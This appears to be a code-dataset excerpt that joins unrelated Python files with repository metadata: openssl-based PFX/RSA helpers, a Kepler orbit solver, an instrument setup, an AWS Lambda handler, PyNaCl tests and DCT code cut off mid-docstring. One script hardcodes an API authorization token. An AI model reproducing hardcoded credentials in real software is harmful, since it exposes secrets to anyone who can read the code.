:param dict config: configuration dict
:rtype: str
:return: sha1 thumbprint of pfx
"""
# gather input
pemfile = settings.batch_shipyard_encryption_public_key_pem(config)
pfxfile = settings.batch_shipyard_encryption_pfx_filename(config)
passphrase = settings.batch_shipyard_encryption_pfx_passphrase(config)
if pemfile is None:
pemfile = util.get_input('Enter public key PEM filename to create: ')
if pfxfile is None:
pfxfile = util.get_input('Enter PFX filename to create: ')
if passphrase is None:
while util.is_none_or_empty(passphrase):
passphrase = getpass.getpass('Enter password for PFX: ')
if len(passphrase) == 0:
print('passphrase cannot be empty')
privatekey = pemfile + '.key'
# generate pem file with private key and no password
f = tempfile.NamedTemporaryFile(mode='wb', delete=False)
f.close()
try:
subprocess.check_call(
['openssl', 'req', '-new', '-nodes', '-x509', '-newkey',
'rsa:2048', '-keyout', privatekey, '-out', f.name, '-days', '730',
'-subj', '/C=US/ST=None/L=None/O=None/CN=BatchShipyard']
)
# extract public key from private key
subprocess.check_call(
['openssl', 'rsa', '-in', privatekey, '-pubout', '-outform',
'PEM', '-out', pemfile]
)
logger.debug('created public key PEM file: {}'.format(pemfile))
# convert pem to pfx for Azure Batch service
subprocess.check_call(
['openssl', 'pkcs12', '-export', '-out', pfxfile, '-inkey',
privatekey, '-in', f.name, '-certfile', f.name,
'-passin', 'pass:', '-passout', 'pass:' + passphrase]
)
logger.debug('created PFX file: {}'.format(pfxfile))
finally:
# remove rsa private key file
fp = pathlib.Path(privatekey)
if fp.exists():
fp.unlink()
# remove temp cert pem
fp = pathlib.Path(f.name)
if fp.exists():
fp.unlink()
# get sha1 thumbprint of pfx
return get_sha1_thumbprint_pfx(pfxfile, passphrase)
def get_encryption_pfx_settings(config):
# type: (dict) -> tuple
"""Get PFX encryption settings from configuration
:param dict config: configuration settings
:rtype: tuple
:return: pfxfile, passphrase, sha1 tp
"""
pfxfile = settings.batch_shipyard_encryption_pfx_filename(config)
pfx_passphrase = settings.batch_shipyard_encryption_pfx_passphrase(config)
sha1_cert_tp = settings.batch_shipyard_encryption_pfx_sha1_thumbprint(
config)
# manually get thumbprint of pfx if not exists in config
if util.is_none_or_empty(sha1_cert_tp):
if pfx_passphrase is None:
pfx_passphrase = getpass.getpass('Enter password for PFX: ')
sha1_cert_tp = get_sha1_thumbprint_pfx(pfxfile, pfx_passphrase)
settings.set_batch_shipyard_encryption_pfx_sha1_thumbprint(
config, sha1_cert_tp)
return PfxSettings(
filename=pfxfile, passphrase=pfx_passphrase, sha1=sha1_cert_tp)
def _rsa_encrypt_string(data, config):
# type: (str, dict) -> str
"""RSA encrypt a string
:param str data: clear text data to encrypt
:param dict config: configuration dict
:rtype: str
:return: base64-encoded cipher text
"""
if util.is_none_or_empty(data):
raise ValueError('invalid data to encrypt')
inkey = settings.batch_shipyard_encryption_public_key_pem(config)
derived = False
if inkey is None:
# derive pem from pfx
derived = True
pfxfile = settings.batch_shipyard_encryption_pfx_filename(config)
pfx_passphrase = settings.batch_shipyard_encryption_pfx_passphrase(
config)
inkey = derive_public_key_pem_from_pfx(pfxfile, pfx_passphrase, None)
try:
if inkey is None:
raise RuntimeError('public encryption key is invalid')
proc = subprocess.Popen(
['openssl', 'rsautl', '-encrypt', '-pubin', '-inkey', inkey],
stdin=subprocess.PIPE, stdout=subprocess.PIPE)
ciphertext = util.base64_encode_string(
proc.communicate(input=util.encode_string(data))[0])
if proc.returncode != 0:
raise RuntimeError(
'openssl encryption failed with returncode: {}'.format(
proc.returncode))
return ciphertext
finally:
if derived:
fp = pathlib.Path(inkey)
if fp.exists():
fp.unlink()
def _rsa_decrypt_string_with_pfx(ciphertext, config):
# type: (str, dict) -> str
"""RSA decrypt a string
:param str ciphertext: cipher text in base64
:param dict config: configuration dict
:rtype: str
:return: decrypted cipher text
"""
if util.is_none_or_empty(ciphertext):
raise ValueError('invalid ciphertext to decrypt')
pfxfile = settings.batch_shipyard_encryption_pfx_filename(config)
pfx_passphrase = settings.batch_shipyard_encryption_pfx_passphrase(config)
pemfile = derive_private_key_pem_from_pfx(pfxfile, pfx_passphrase, None)
if pemfile is None:
raise RuntimeError('cannot decrypt without valid private key')
cleartext = None
try:
data = util.base64_decode_string(ciphertext)
proc = subprocess.Popen(
['openssl', 'rsautl', '-decrypt', '-inkey', pemfile],
stdin=subprocess.PIPE, stdout=subprocess.PIPE)
cleartext = proc.communicate(input=data)[0]
finally:
fp = pathlib.Path(pemfile)
if fp.exists():
fp.unlink()
return cleartext
def encrypt_string(enabled, string, config):
# type: (bool, str, dict) -> str
"""Encrypt a string
:param bool enabled: if encryption is enabled
:param str string: string to encrypt
:param dict config: configuration dict
:rtype: str
:return: encrypted string if enabled
"""
if enabled:
return _rsa_encrypt_string(string, config)
else:
return string
| 35.311547 | 79 | 0.653258 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6,861 | 0.423309 |
0accac5244ae00b90c3dcaa313e0ad6674cf5f7f | 5,284 | py | Python | kepler.py | mdbernard/astrodynamics | cf98df6cd17086e3675c1f7c2fce342d5322ee51 | [
"MIT"
] | null | null | null | kepler.py | mdbernard/astrodynamics | cf98df6cd17086e3675c1f7c2fce342d5322ee51 | [
"MIT"
] | 14 | 2020-11-10T02:37:15.000Z | 2022-02-07T01:11:29.000Z | kepler.py | mdbernard/astrodynamics | cf98df6cd17086e3675c1f7c2fce342d5322ee51 | [
"MIT"
] | null | null | null | import numpy as np
from stumpff import C, S
from CelestialBody import BODIES
from numerical import newton, laguerre
from lagrange import calc_f, calc_fd, calc_g, calc_gd
def kepler_chi(chi, alpha, r0, vr0, mu, dt):
''' Kepler's Equation of the universal anomaly, modified
for use in numerical solvers. '''
z = alpha*chi**2
return (r0*vr0/np.sqrt(mu))*chi**2*C(z) + \
(1 - alpha*r0)*chi**3*S(z) + \
r0*chi - np.sqrt(mu)*dt
def dkepler_dchi(chi, alpha, r0, vr0, mu, dt):
''' Derivative of Kepler's Equation of the universal anomaly,
modified for use in numerical solvers. '''
z = alpha*chi**2
return (r0*vr0/np.sqrt(mu))*chi*(1 - alpha*chi**2*S(z)) + \
(1 - alpha*r0)*chi**2*C(z) + r0
def d2kepler_dchi2(chi, alpha, r0, vr0, mu, dt):
''' Second derivative of Kepler's Equation of the universal
anomaly, modified for use in numerical solvers. '''
z = alpha*chi**2
S_ = S(z)
return (r0*vr0/np.sqrt(mu))*(1 - 3*z*S_ + z*(C(z) - 3*S_)) + \
chi*(1 - z*S_)*(1 - alpha*r0)
def solve_kepler_chi(r_0, v_0, dt, body=BODIES['Earth'], method='laguerre', tol=1e-7, max_iters=100):
''' Solve Kepler's Equation of the universal anomaly chi using the specified
numerical method. Applies Algorithm 3.4 from Orbital Mechanics for Engineering
Students, 4 ed, Curtis.
:param r_0: `iterable` (km) initial position 3-vector
:param v_0: `iterable` (km/s) initial velocity 3-vector
:param dt: `float` (s) time after initial state to solve for r, v as 3-vectors
:param body: `CelestialBody` (--) the celestial body to use for orbital parameters
:param method: `str` (--) which numerical method to use to solve Kepler's Equation
:param tol: `float` (--) decimal tolerance for numerical method (default 1e-7 is IEEE 745 single precision)
:param max_iters: `int` (--) maximum number of iterations in numerical method before breaking
:return: (km) final position 3-vector, (km/s) final velocity 3-vector
'''
VALID_METHODS = ('laguerre', 'newton')
mu = body.mu # (km**3/s**2) gravitational parameter of the specified primary body
r0 = np.linalg.norm(r_0) # (km) initial position magnitude
v0 = np.linalg.norm(v_0) # (km/s) initial velocity magnitude
vr0 = np.dot(v_0, r_0)/r0 # (km/s) initial radial velocity magnitude
alpha = 2/r0 - v0**2/mu # (1/km) inverse of semi-major axis
chi0 = np.sqrt(mu)*np.abs(alpha)*dt
if method not in VALID_METHODS:
print(f'Method \'{method}\' is not valid, must be one of {VALID_METHODS}.\nDefaulting to laguerre method.')
chi, _, _ = laguerre(chi0, kepler_chi, dkepler_dchi, d2kepler_dchi2, alpha, r0, vr0, mu, dt)
elif method == 'newton':
chi, _, _ = newton(chi0, kepler_chi, dkepler_dchi, alpha, r0, vr0, mu, dt)
else: # method == 'laguerre'
chi, _, _ = laguerre(chi0, kepler_chi, dkepler_dchi, d2kepler_dchi2, alpha, r0, vr0, mu, dt)
f = calc_f(chi, r0, alpha)
g = calc_g(dt, mu, chi, alpha)
r_1 = f*r_0 + g*v_0
r1 = np.linalg.norm(r_1)
fd = calc_fd(mu, r1, r0, alpha, chi)
gd = calc_gd(chi, r1, alpha)
v_1 = fd*r_0 + gd*v_0
return r_1, v_1
def solve_kepler_E(e, Me, tol=1e-7, max_iters=100):
''' Solve Kepler's Equation in the form containing Eccentric Anomaly (E),
eccentricity (e), and Mean Anomaly of Ellipse (Me). Uses Algorithm 3.1 from Orbital
Mechanics for Engineering Students, 4 ed, Curtis. '''
# TODO: have this function make use of one of the numerical methods in numerical.py
def f(E, e, Me):
return E - e*np.sin(E) - Me
def fp(E, e):
return 1 - e*np.cos(E)
E = Me + e/2 if Me < np.pi else Me - e/2
ratio = f(E, e, Me)/fp(E, e)
iters = 0
while abs(ratio) > tol and iters < max_iters:
E -= ratio
ratio = f(E, e, Me)/fp(E, e)
iters += 1
E -= ratio
converged = np.abs(ratio) <= tol
return E, iters, converged
def test():
''' Test the functionality of solve_kepler_chi
and solve_kepler_laguerre using Problem 3.20 from
Orbital Mechanics for Engineering Students, 4 ed, Curtis.
'''
# given starting information
Earth = BODIES['Earth'] # `CelestialBody` (--) Earth and all the Earth things
r_0 = np.array([20000, -105000, -19000]) # (km) initial position vector
v_0 = np.array([0.9, -3.4, -1.5]) # (km/s) initial velocity vector
dt = 2*60*60 # (s) time of interest after initial time
# given correct answer from textbook
correct_r_1 = np.array([26338, -128750, -29656]) # (km) final position vector
correct_v_1 = np.array([0.86280, -3.2116, -1.4613]) # (km/s) final velocity vector
# solve using above methods
r_n, v_n = solve_kepler_chi(r_0, v_0, dt, Earth, method='newton')
r_l, v_l = solve_kepler_chi(r_0, v_0, dt, Earth, method='laguerre')
# check correctness
# tolerance based on significant figures of given answers
newton_valid = np.allclose(r_n, correct_r_1, atol=1) and np.allclose(v_n, correct_v_1, atol=1e-4)
laguerre_valid = np.allclose(r_l, correct_r_1, atol=1) and np.allclose(v_l, correct_v_1, atol=1e-4)
return all([newton_valid, laguerre_valid])
if __name__ == '__main__':
print(test())
| 39.140741 | 115 | 0.645912 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,439 | 0.461582 |
0acd26a6aeb9fbb21484a68cd667f26b74d856f7 | 952 | py | Python | nicos_demo/vpgaa/setups/pgai.py | jkrueger1/nicos | 5f4ce66c312dedd78995f9d91e8a6e3c891b262b | [
"CC-BY-3.0",
"Apache-2.0",
"CC-BY-4.0"
] | 12 | 2019-11-06T15:40:36.000Z | 2022-01-01T16:23:00.000Z | nicos_demo/vpgaa/setups/pgai.py | jkrueger1/nicos | 5f4ce66c312dedd78995f9d91e8a6e3c891b262b | [
"CC-BY-3.0",
"Apache-2.0",
"CC-BY-4.0"
] | 91 | 2020-08-18T09:20:26.000Z | 2022-02-01T11:07:14.000Z | nicos_demo/vpgaa/setups/pgai.py | jkrueger1/nicos | 5f4ce66c312dedd78995f9d91e8a6e3c891b262b | [
"CC-BY-3.0",
"Apache-2.0",
"CC-BY-4.0"
] | 6 | 2020-01-11T10:52:30.000Z | 2022-02-25T12:35:23.000Z | description = 'PGAA setup with XYZOmega sample table'
group = 'basic'
sysconfig = dict(
datasinks = ['mcasink', 'chnsink', 'csvsink', 'livesink']
)
includes = [
'system',
'reactor',
'nl4b',
'pressure',
'sampletable',
'pilz',
'detector',
'collimation',
]
devices = dict(
mcasink = device('nicos_mlz.pgaa.devices.MCASink',
settypes = {'point'},
detectors = ['_60p', 'LEGe'],
),
chnsink = device('nicos_mlz.pgaa.devices.CHNSink',
settypes = {'point'},
detectors = ['_60p', 'LEGe'],
),
csvsink = device('nicos_mlz.pgaa.devices.CSVDataSink',
settypes = {'point'},
),
)
startupcode = """
SetDetectors('_60p', 'LEGe')
SetEnvironment(chamber_pressure)
printinfo("============================================================")
printinfo("Welcome to the NICOS PGAI demo setup.")
printinfo("============================================================")
"""
| 23.219512 | 73 | 0.522059 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 571 | 0.59979 |
0ad2792c4efbba79b47edb4a13bc47fda219fd40 | 48 | py | Python | icarus/models/service/__init__.py | oascigil/icarus_edge_comp | b7bb9f9b8d0f27b4b01469dcba9cfc0c4949d64b | [
"MIT"
] | 5 | 2021-03-20T09:22:55.000Z | 2021-12-20T17:01:33.000Z | icarus/models/service/__init__.py | oascigil/icarus_edge_comp | b7bb9f9b8d0f27b4b01469dcba9cfc0c4949d64b | [
"MIT"
] | 1 | 2021-12-13T07:40:46.000Z | 2021-12-20T16:59:08.000Z | icarus/models/service/__init__.py | oascigil/icarus_edge_comp | b7bb9f9b8d0f27b4b01469dcba9cfc0c4949d64b | [
"MIT"
] | 1 | 2021-11-25T05:42:20.000Z | 2021-11-25T05:42:20.000Z | # -*- coding: utf-8 -*-
from .compSpot import *
| 16 | 23 | 0.583333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 23 | 0.479167 |
0adb9e87674ba38043bf368fb738d4c5e8ba7c5c | 362 | py | Python | escola/teste_get.py | danielrosendos/djangoRestFramework | 946bb95b8dd9976d1920302ce724572ffd9f98cf | [
"MIT"
] | 2 | 2020-07-26T15:17:23.000Z | 2020-07-26T16:50:18.000Z | escola/teste_get.py | sport129/djangoRestFramework | 946bb95b8dd9976d1920302ce724572ffd9f98cf | [
"MIT"
] | 3 | 2021-03-30T14:12:18.000Z | 2021-06-04T23:44:47.000Z | escola/teste_get.py | sport129/djangoRestFramework | 946bb95b8dd9976d1920302ce724572ffd9f98cf | [
"MIT"
] | null | null | null | import requests
headers = {
'content-type': 'application/json',
'Authorization': 'Token 80ca9f249b80e7226cdc7fcaada8d7297352f0f9'
}
url_base_cursos = 'http://127.0.0.1:8000/api/v2/cursos'
url_base_avaliacoes = 'http://127.0.0.1:8000/api/v2/avaliacoes'
resultado = requests.get(url=url_base_cursos, headers=headers)
assert resultado.status_code == 200 | 27.846154 | 69 | 0.756906 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 173 | 0.477901 |
0add5b092c6c665d2b618a20a05d4cd299d00402 | 1,948 | py | Python | src/handler.py | MrIgumnov96/ETL-CloudDeployment | 666b85a9350460fba49f82ec90f5cddc0bdd0235 | [
"Unlicense"
] | null | null | null | src/handler.py | MrIgumnov96/ETL-CloudDeployment | 666b85a9350460fba49f82ec90f5cddc0bdd0235 | [
"Unlicense"
] | null | null | null | src/handler.py | MrIgumnov96/ETL-CloudDeployment | 666b85a9350460fba49f82ec90f5cddc0bdd0235 | [
"Unlicense"
] | null | null | null | import boto3
import src.app as app
import csv
import psycopg2 as ps
import os
from dotenv import load_dotenv
load_dotenv()
dbname = os.environ["db"]
host = os.environ["host"]
port = os.environ["port"]
user = os.environ["user"]
password = os.environ["pass"]
connection = ps.connect(dbname=dbname,
host=host,
port=port,
user=user,
password=password)
def handle(event, context):
cursor = connection.cursor()
cursor.execute("SELECT 1", ())
print(cursor.fetchall())
# Get key and bucket informaition
key = event['Records'][0]['s3']['object']['key']
bucket = event['Records'][0]['s3']['bucket']['name']
# use boto3 library to get object from S3
s3 = boto3.client('s3')
s3_object = s3.get_object(Bucket = bucket, Key = key)
data = s3_object['Body'].read().decode('utf-8')
all_lines = []
# read CSV
# csv_data = csv.reader(data.splitlines())
# for row in csv_data:
# datestr = row[0] #.replace('/', '-')
# # print(datestr)
# date_obj = datetime.strptime(datestr, '%d/%m/%Y %H:%M')
# # print(date_obj)
# # time = str(row[0][-5:])
# location = str(row[1])
# order = str(row[3])
# total = str(row[4])
# all_lines.append({'date':date_obj, 'location':location, 'order':order, 'total':total})
# return cached_list
# print(all_lines)
app.start_app(all_lines, data)
print_all_lines = [print(line) for line in all_lines]
print_all_lines
return {"message": "success!!! Check the cloud watch logs for this lambda in cloudwatch https://eu-west-1.console.aws.amazon.com/cloudwatch/home?region=eu-west-1#logsV2:log-groups"}
# Form all the lines of data into a list of lists
# all_lines = [line for line in csv_data]
# print(data)
# print(all_lines) | 31.419355 | 185 | 0.587269 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 938 | 0.48152 |
0aee1a078e80effb05eed8b8321db099a4b35623 | 1,925 | py | Python | tests/test_utils.py | isabella232/pynacl | b3f6c320569d858ba61d4bdf2ac788564528c1c9 | [
"Apache-2.0"
] | 756 | 2015-01-03T17:49:44.000Z | 2022-03-31T13:54:33.000Z | tests/test_utils.py | isabella232/pynacl | b3f6c320569d858ba61d4bdf2ac788564528c1c9 | [
"Apache-2.0"
] | 540 | 2015-01-02T10:54:33.000Z | 2022-03-05T18:47:01.000Z | tests/test_utils.py | isabella232/pynacl | b3f6c320569d858ba61d4bdf2ac788564528c1c9 | [
"Apache-2.0"
] | 217 | 2015-01-09T00:48:01.000Z | 2022-03-26T08:53:32.000Z | # Copyright 2013 Donald Stufft and individual contributors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import pytest
import nacl.secret
import nacl.utils
def test_random_bytes_produces():
assert len(nacl.utils.random(16)) == 16
def test_random_bytes_produces_different_bytes():
assert nacl.utils.random(16) != nacl.utils.random(16)
def test_string_fixer():
assert str(nacl.secret.SecretBox(b"\x00" * 32)) == str(b"\x00" * 32)
def test_deterministic_random_bytes():
expected = (
b"0d8e6cc68715648926732e7ea73250cfaf2d58422083904c841a8ba"
b"33b986111f346ba50723a68ae283524a6bded09f83be6b80595856f"
b"72e25b86918e8b114bafb94bc8abedd73daab454576b7c5833eb0bf"
b"982a1bb4587a5c970ff0810ca3b791d7e12"
)
seed = (
b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d"
b"\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b"
b"\x1c\x1d\x1e\x1f"
)
assert (
nacl.utils.randombytes_deterministic(
100, seed, encoder=nacl.utils.encoding.HexEncoder
)
== expected
)
def test_deterministic_random_bytes_invalid_seed_length():
expected = "Deterministic random bytes must be generated from 32 bytes"
seed = b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a"
with pytest.raises(TypeError) as e:
nacl.utils.randombytes_deterministic(100, seed)
assert expected in str(e.value)
| 32.083333 | 75 | 0.725195 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,058 | 0.54961 |
0af65b8666e4023ddc4b24aa0b03dd9c64d6dd98 | 15,465 | py | Python | dreamplace/ops/dct/discrete_spectral_transform.py | dongleecsu/DREAMPlace | 86b56521a3eacfb5cadff935631302bf6986a689 | [
"BSD-3-Clause"
] | 12 | 2022-03-01T06:46:42.000Z | 2022-03-27T03:40:45.000Z | dreamplace/ops/dct/discrete_spectral_transform.py | dongleecsu/DREAMPlace | 86b56521a3eacfb5cadff935631302bf6986a689 | [
"BSD-3-Clause"
] | 4 | 2022-03-08T13:00:01.000Z | 2022-03-30T10:07:01.000Z | dreamplace/ops/dct/discrete_spectral_transform.py | dongleecsu/DREAMPlace | 86b56521a3eacfb5cadff935631302bf6986a689 | [
"BSD-3-Clause"
] | 8 | 2022-03-01T06:46:45.000Z | 2022-03-29T12:40:05.000Z | ##
# @file discrete_spectral_transform.py
# @author Yibo Lin
# @date Jun 2018
#
import os
import sys
import numpy as np
import torch
import torch.nn.functional as F
import pdb
""" Discrete spectral transformation leveraging fast fourier transform engine.
The math here mainly uses Prosthaphaeresis properties.
The trigonometric identities exploited by prosthaphaeresis relate products of trigonometric functions to sums.
sin(a) sin(b) = 1/2 * (cos(a-b) - cos(a+b))
cos(a) cos(b) = 1/2 * (cos(a-b) + cos(a+b))
sin(a) cos(b) = 1/2 * (sin(a+b) + sin(a-b))
cos(a) sin(b) = 1/2 * (sin(a-b) - sin(a+b))
A 2D FFT performs
y_{u, v} = \sum_i \sum_j x_{i, j} exp(-j*2*pi*u*i/M) exp(-j*2*pi*v*j/N)
= \sum_i \sum_j x_{i, j} exp(-j*2*pi*(u*i/M + v*j/N))
= \sum_i \sum_j x_{i, j} (cos(-2*pi*(u*i/M + v*j/N)) + j sin(-2*pi*(u*i/M + v*j/N))).
By mapping the original image from (i, j) to (i, N-j), we can have (u*i/M - v*j/N) inside exp.
This will enable us to derive various cos/sin transformation by computing FFT twice.
"""
def get_expk(N, dtype, device):
""" Compute 2*exp(-1j*pi*u/(2N)), but not exactly the same.
The actual return is 2*cos(pi*u/(2N)), 2*sin(pi*u/(2N)).
This will make later multiplication easier.
"""
pik_by_2N = torch.arange(N, dtype=dtype, device=device)
pik_by_2N.mul_(np.pi/(2*N))
# cos, sin
# I use sin because the real part requires subtraction
# this will be easier for multiplication
expk = torch.stack([pik_by_2N.cos(), pik_by_2N.sin()], dim=-1)
expk.mul_(2)
return expk.contiguous()
def get_expkp1(N, dtype, device):
""" Compute 2*exp(-1j*pi*(u+1)/(2N)), but not exactly the same.
The actual return is 2*cos(pi*(u+1)/(2N)), 2*sin(pi*(u+1)/(2N))
"""
neg_pik_by_2N = torch.arange(1, N+1, dtype=dtype, device=device)
neg_pik_by_2N.mul_(np.pi/(2*N))
# sin, -cos
# I swap -cos and sin because we need the imag part
# this will be easier for multiplication
expk = torch.stack([neg_pik_by_2N.cos(), neg_pik_by_2N.sin()], dim=-1)
expk.mul_(2)
return expk.contiguous()
def get_exact_expk(N, dtype, device):
# Compute exp(-j*pi*u/(2N)) = cos(pi*u/(2N)) - j * sin(pi*u/(2N))
pik_by_2N = torch.arange(N, dtype=dtype, device=device)
pik_by_2N.mul_(np.pi/(2*N))
# cos, -sin
expk = torch.stack([pik_by_2N.cos(), -pik_by_2N.sin()], dim=-1)
return expk.contiguous()
def get_perm(N, dtype, device):
""" Compute permutation to generate following array
0, 2, 4, ..., 2*(N//2)-2, 2*(N//2)-1, 2*(N//2)-3, ..., 3, 1
"""
perm = torch.zeros(N, dtype=dtype, device=device)
perm[0:(N-1)//2+1] = torch.arange(0, N, 2, dtype=dtype, device=device)
perm[(N-1)//2+1:] = torch.arange(2*(N//2)-1, 0, -2, dtype=dtype, device=device)
return perm
def dct_2N(x, expk=None):
""" Batch Discrete Cosine Transformation without normalization to coefficients.
Compute y_u = \sum_i x_i cos(pi*(2i+1)*u/(2N)),
Impelements the 2N padding trick to solve DCT with FFT in the following link,
https://dsp.stackexchange.com/questions/2807/fast-cosine-transform-via-fft
1. Pad x by zeros
2. Perform FFT
3. Multiply by 2*exp(-1j*pi*u/(2N))
4. Extract the real part
"""
# last dimension
N = x.size(-1)
# pad last dimension
x_pad = F.pad(x, (0, N), 'constant', 0)
# the last dimension here becomes -2 because complex numbers introduce a new dimension
y = torch.rfft(x_pad, signal_ndim=1, normalized=False, onesided=True)[..., 0:N, :]
y.mul_(1.0/N)
if expk is None:
expk = get_expk(N, dtype=x.dtype, device=x.device)
# get real part
y.mul_(expk)
# I found add is much faster than sum
#y = y.sum(dim=-1)
return y[..., 0]+y[..., 1]
def dct_N(x, perm=None, expk=None):
""" Batch Discrete Cosine Transformation without normalization to coefficients.
Compute y_u = \sum_i x_i cos(pi*(2i+1)*u/(2N)),
Impelements the N permuting trick to solve DCT with FFT in the following link,
https://dsp.stackexchange.com/questions/2807/fast-cosine-transform-via-fft
1. permute x such that [a, b, c, d, e, f] becomes [a, c, e, f, d, b]
2. Perform FFT
3. Multiply by 2*exp(-1j*pi*u/(2N))
4. Extract the real part
"""
# last dimension
N = x.size(-1)
if perm is None:
perm = get_perm(N, dtype=torch.int64, device=x.device)
if x.ndimension() <= 1:
x_reorder = x.view([1, N])
else:
x_reorder = x.clone()
# switch from row-major to column-major for speedup
x_reorder.transpose_(dim0=-2, dim1=-1)
#x_reorder = x_reorder[..., perm, :]
x_reorder = x_reorder.index_select(dim=-2, index=perm)
# switch back
x_reorder.transpose_(dim0=-2, dim1=-1)
y = torch.rfft(x_reorder, signal_ndim=1, normalized=False, onesided=False)[..., 0:N, :]
y.mul_(1.0/N)
if expk is None:
expk = get_expk(N, dtype=x.dtype, device=x.device)
# get real part
y.mul_(expk)
# I found add is much faster than sum
#y = y.sum(dim=-1)
return y[..., 0]+y[..., 1]
def idct_2N(x, expk=None):
""" Batch Inverse Discrete Cosine Transformation without normalization to coefficients.
Compute y_u = \sum_i x_i cos(pi*(2u+1)*i/(2N)),
Impelements the 2N padding trick to solve IDCT with IFFT in the following link,
https://github.com/tensorflow/tensorflow/blob/r1.10/tensorflow/python/ops/spectral_ops.py
1. Multiply by 2*exp(1j*pi*u/(2N))
2. Pad x by zeros
3. Perform IFFT
4. Extract the real part
"""
# last dimension
N = x.size(-1)
if expk is None:
expk = get_expk(N, dtype=x.dtype, device=x.device)
# multiply by 2*exp(1j*pi*u/(2N))
x_pad = x.unsqueeze(-1).mul(expk)
# pad second last dimension, excluding the complex number dimension
x_pad = F.pad(x_pad, (0, 0, 0, N), 'constant', 0)
if len(x.size()) == 1:
x_pad.unsqueeze_(0)
# the last dimension here becomes -2 because complex numbers introduce a new dimension
y = torch.irfft(x_pad, signal_ndim=1, normalized=False, onesided=False, signal_sizes=[2*N])[..., 0:N]
y.mul_(N)
if len(x.size()) == 1:
y.squeeze_(0)
return y
def idct_N(x, expk=None):
N = x.size(-1)
if expk is None:
expk = get_expk(N, dtype=x.dtype, device=x.device)
size = list(x.size())
size.append(2)
x_reorder = torch.zeros(size, dtype=x.dtype, device=x.device)
x_reorder[..., 0] = x
x_reorder[..., 1:, 1] = x.flip([x.ndimension()-1])[..., :N-1].mul_(-1)
x_reorder[..., 0] = x.mul(expk[..., 0]).sub_(x_reorder[..., 1].mul(expk[..., 1]))
x_reorder[..., 1].mul_(expk[..., 0])
x_reorder[..., 1].add_(x.mul(expk[..., 1]))
# this is to match idct_2N
# normal way should multiply 0.25
x_reorder.mul_(0.5)
y = torch.ifft(x_reorder, signal_ndim=1, normalized=False)
y.mul_(N)
z = torch.empty_like(x)
z[..., 0:N:2] = y[..., :(N+1)//2, 0]
z[..., 1:N:2] = y[..., (N+1)//2:, 0].flip([x.ndimension()-1])
return z
def dst(x, expkp1=None):
""" Batch Discrete Sine Transformation without normalization to coefficients.
Compute y_u = \sum_i x_i sin(pi*(2i+1)*(u+1)/(2N)),
Impelements the 2N padding trick to solve DCT with FFT in the following link,
https://dsp.stackexchange.com/questions/2807/fast-cosine-transform-via-fft
1. Pad x by zeros
2. Perform FFT
3. Multiply by 2*exp(-1j*pi*u/(2N))
4. Extract the real part
"""
# last dimension
N = x.size(-1)
# pad last dimension
x_pad = F.pad(x, (0, N), 'constant', 0)
# the last dimension here becomes -2 because complex numbers introduce a new dimension
y = torch.rfft(x_pad, signal_ndim=1, normalized=False, onesided=True)[..., 1:N+1, :]
if expkp1 is None:
expkp1 = get_expkp1(N, dtype=x.dtype, device=x.device)
# get imag part
y = y[..., 1].mul(expkp1[:, 0]) - y[..., 0].mul(expkp1[:, 1])
return y
def idst(x, expkp1=None):
""" Batch Inverse Discrete Sine Transformation without normalization to coefficients.
Compute y_u = \sum_i x_i cos(pi*(2u+1)*i/(2N)),
Impelements the 2N padding trick to solve IDCT with IFFT in the following link,
https://github.com/tensorflow/tensorflow/blob/r1.10/tensorflow/python/ops/spectral_ops.py
1. Multiply by 2*exp(1j*pi*u/(2N))
2. Pad x by zeros
3. Perform IFFT
4. Extract the real part
"""
# last dimension
N = x.size(-1)
if expkp1 is None:
expkp1 = get_expkp1(N, dtype=x.dtype, device=x.device)
# multiply by 2*exp(1j*pi*u/(2N))
x_pad = x.unsqueeze(-1).mul(expkp1)
# pad second last dimension, excluding the complex number dimension
x_pad = F.pad(x_pad, (0, 0, 0, N), 'constant', 0)
if len(x.size()) == 1:
x_pad.unsqueeze_(0)
# the last dimension here becomes -2 because complex numbers introduce a new dimension
y = torch.irfft(x_pad, signal_ndim=1, normalized=False, onesided=False, signal_sizes=[2*N])[..., 1:N+1]
y.mul_(N)
if len(x.size()) == 1:
y.squeeze_(0)
return y
def idxt(x, cos_or_sin_flag, expk=None):
""" Batch Inverse Discrete Cosine Transformation without normalization to coefficients.
Compute y_u = \sum_i x_i cos(pi*(2u+1)*i/(2N)),
Impelements the 2N padding trick to solve IDCT with IFFT in the following link,
https://github.com/tensorflow/tensorflow/blob/r1.10/tensorflow/python/ops/spectral_ops.py
1. Multiply by 2*exp(1j*pi*u/(2N))
2. Pad x by zeros
3. Perform IFFT
4. Extract the real part
@param x batch 1D tensor for conversion
@param cos_or_sin_flag 0 for cosine tranformation and 1 or sine transformation
@param expk 2*exp(j*pi*k/(2N))
"""
# last dimension
N = x.size(-1)
if expk is None:
expk = get_expk(N, dtype=x.dtype, device=x.device)
# multiply by 2*exp(1j*pi*u/(2N))
x_pad = x.unsqueeze(-1).mul(expk)
# pad second last dimension, excluding the complex number dimension
x_pad = F.pad(x_pad, (0, 0, 0, N), 'constant', 0)
if len(x.size()) == 1:
x_pad.unsqueeze_(0)
# the last dimension here becomes -2 because complex numbers introduce a new dimension
# Must use IFFT here
y = torch.ifft(x_pad, signal_ndim=1, normalized=False)[..., 0:N, cos_or_sin_flag]
y.mul_(N)
if len(x.size()) == 1:
y.squeeze_(0)
return y
def dct2_2N(x, expk0=None, expk1=None):
""" Batch 2D Discrete Cosine Transformation without normalization to coefficients.
Compute 1D DCT twice.
@param x batch tensor, the 2D part is MxN
@param expk0 with length M
